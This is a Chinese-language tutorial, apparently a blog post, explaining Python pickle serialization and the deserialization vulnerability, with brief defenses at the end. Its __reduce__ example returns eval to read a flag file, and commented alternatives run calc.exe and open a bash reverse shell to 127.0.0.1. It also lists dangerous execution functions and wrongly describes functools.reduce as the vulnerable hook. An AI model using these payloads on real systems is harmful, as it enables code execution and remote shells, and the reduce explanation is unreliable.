1、什么是序列化

和php的序列化一样,是把string,字典,数组,类这些数据当作字节储存

2、pickle

pickle.dumps()和pickle.loads() 分别是序列化和反序列化

pickle.dump()和pickle.load是对文件的写入

import pickle

x= 'cccccc'

y = [1,2,3,4]

z = {'name':'hzx','pass':'zzz'}

print(pickle.dumps(x))

print(pickle.dumps(y))

print(pickle.dumps(z))

print(pickle.dumps(x))

print(pickle.loads(b'\x80\x03X\x06\x00\x00\x00ccccccq\x00.'))

b'\x80\x03X\x06\x00\x00\x00ccccccq\x00.'

b'\x80\x03]q\x00(K\x01K\x02K\x03K\x04e.'

b'\x80\x03}q\x00(X\x04\x00\x00\x00nameq\x01X\x03\x00\x00\x00hzxq\x02X\x04\x00\x00\x00passq\x03X\x03\x00\x00\x00zzzq\x04u.'

b'\x80\x03X\x06\x00\x00\x00ccccccq\x00.'

cccccc

{'name': 'hzx', 'pass': 'zzz'}

3、存入到文件

import pickle

if __name__ == '__main__':

filename = 'D://test'

x = 'this'

f = open(filename, 'wb')

pickle.dump(x,f)

f.close()

4、类的存储

import pickle

class test(object):

def __init__(self,user,password):

self.user=user

self.password=password

vstar=test('hzx',123456)

vstar_p=pickle.dumps(vstar)

print(vstar_p)

v=pickle.loads(vstar_p)

print(v.user)

5、漏洞本身

反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。

reduce()函数:将一个数据集合(链表,元组等)中的所有数据进行下列操作:

用传给 reduce 中的函数 function(有两个参数)先对集合中的第 1、2 个元素进行操作,得到的结果再与第三个数据用 function 函数运算,最后得到一个结果。

reduce() 函数语法:

reduce(function, iterable[, initializer])

function -- 函数,有两个参数

iterable -- 可迭代对象

initializer -- 可选,初始参数

这个函数和php中的__wakeup很类似。可以理解成是一样的;会在反序列化的时候执行;具体的内容请参考python的官方文档库;其实并不只是只有这一个函数;官方文档里也说过pickle是个不安全的模块,永远别去反序列化不信任的数据;

import pickle

class test(object):

def __init__(self,user,password):

self.user=user

self.password=password

def __reduce__(self):

return (eval, ("open('D://flag.txt','r').read()",)) //打开文件

#return (__import__('os').system, ('calc.exe',)) //命令执行

#return(os.system,("bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0&1"))//反弹shell

vstar=test('hzx',123456)

vstar_p=pickle.dumps(vstar)

#print(vstar_p)

v=pickle.loads(vstar_p)

print(v)

#flag{this_is_flag}

常用的命令执行函数、代码执行函数

eval, execfile, compile, open, file, map, input,

os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,

os.listdir, os.access,

os.execl, os.execle, os.execlp, os.execlpe, os.execv,

os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,

os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,

pickle.load, pickle.loads,cPickle.load,cPickle.loads,

subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,

commands.getstatusoutput,commands.getoutput,commands.getstatus,

glob.glob,

linecache.getline,

shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,

dircache.listdir,dircache.opendir,

io.open,

popen2.popen2,popen2.popen3,popen2.popen4,

timeit.timeit,timeit.repeat,

sys.call_tracing,

code.interact,code.compile_command,codeop.compile_command,

pty.spawn,

posixfile.open,posixfile.fileopen,

platform.popen

6、防御方法

1、用更高级的接口__getnewargs()、getstate()、setstate()等代替reduce()魔术方法;

2、进行反序列化操作之前,进行严格的过滤,若采用的是pickle库可采用装饰器实现。

python pickle反序列化漏洞_Python反序列化漏洞相关推荐

  1. python(pickle):序列化 、反序列化 --- pickle.dump() / pickle.dumps() / pickle.load() / pickle.loads()的使用

    1.pickle序列化 pickle.dump()方法将obj对象序列化为字节(bytes)写入到file文件中 pickle.dump(obj, file, protocol=None, *, fi ...

  2. python pickle模块安装_python如何安装pickle

    pickle是python语言的一个标准模块,安装python后已包含pickle库,不需要单独再安装. pickle模块实现了基本的数据序列化和反序列化.(推荐学习:Python视频教程) 通过pi ...

  3. python pickle反序列化漏洞_Python Pickle反序列化带来的安全问题

    Python Pickle反序列化带来的安全问题 GaRY | 2013-01-14 15:00 Author: wofeiwo#80sec.com 数据序列化,这是个很常见的应用场景,通常被广泛应用 ...

  4. Python Pickle反序列化漏洞

    前言: 刷题的时候做了一道[CISCN2019]ikun的题目,提示考察的知识点是Python Pickle,之前接触的都是有关PHP反序列化,这次就来好好学习一下Python Pickle反序列化漏 ...

  5. python pickle反序列化漏洞_Numpy反序列化命令执行漏洞分析(CVE-2019-6446) –vr_system...

    1. 介绍 NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算.NumPy提供大量的函数和操作,能够帮助 程序员 便利进行数值计算.在NumPy 1.16.0版本之前存在反序列化 ...

  6. python中常见的漏洞_Python常见安全漏洞及修复方法集合!你所不会的这里都有!...

    [51CTO技术沙龙]10月27日,让我们共同探索AI场景化应用实现之道 --> 概述 编写安全的代码很困难,当你学习一门编程语言.一个模块或框架时,你会学习其使用方法.在考虑安全性时,你需要考 ...

  7. 反序列化工具_JBOSS反序列化漏洞

    10月13日 简简单单的复现一个漏洞0x00 起因 因为当初说要把vulhub上面的漏洞都复现一遍,然后今天看内网的书又头疼,python也学不下去,打开vulhub,然后随便一滚鼠标滑轮,刚刚好遇见 ...

  8. shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    漏洞原理 本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后. 啥是shiro? Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证.授权.密码和会话管理. ...

  9. 个php反序列化漏洞,PHP反序列化漏洞学习(一)

    前言:PHP反序列化也是web安全中常见的一种漏洞,这次就先来大致了解一下PHP反序列化漏洞的基础知识. 一.PHP序列化和反序列化 在学习PHP反序列化漏洞时,先来了解一下基础的知识. (一)PHP ...

最新文章

  1. sangerbox平台使用(三)绘制火山图
  2. 【PAT乙级】1063 计算谱半径 (20 分)
  3. 02 - Unit07:显示笔记下拉菜单、笔记的分享功能、笔记的删除功能
  4. Android开发之JNI(一)--HelloWorld及遇到的错误解析
  5. 盗贼之海3月22服务器维护,盗贼之海3月29日更新公告_3月29日更新了什么_52pk单机游戏...
  6. 【Java】jdk 1.8 新特性——Lambda表达式
  7. (31)FPGA面试题系统最高速度计算方法
  8. SpringCloud+Docker+Jenkins+GitLab+Maven实现自动化构建与部署实战
  9. php+代码模板下载地址,简单而强大的PHP模板引擎
  10. 1000个网络摄像头如何组网?
  11. 好用、好玩的小程序第二弹,统统学会,新技能get
  12. 从零开始学习ThingJS之创建/销毁物体
  13. 清理电脑C盘的方法汇总
  14. U盘启动盘 U盘安装Win10系统图文教程
  15. Android,什么是MVP模式?
  16. iPad闪屏跳动怎么回事?怎么解决?
  17. 联想p720工作站安装linux,联想发布ThinkStation P920和P720工作站 采用至强处理器
  18. 一只猴子和那些超神的脚本......
  19. 半透明遮罩效果 DIV
  20. [990]Geohash算法原理及实现

热门文章

  1. 笑傲江湖中的政治斗争
  2. Programming OpenGL in Linux: GLX and Xlib
  3. 关于拨号上网的几种错误解决办法
  4. 【报告分享】2019中国高科技高成长50强暨明日之星年度报告.pdf(附下载链接)
  5. PDI(kettle) 阻塞数据直到步骤都完成、Blocking step组件用法及区别
  6. 大佬分享:180+道Java面试题目!含答案解析!
  7. 建设全功能团队——实践篇
  8. 104型计算机键盘,电脑上的pc 机104键指的是什么?
  9. socketio使用
  10. 微信小程序服务器错误错误码404,微信小程序 云开发 错误代码 大全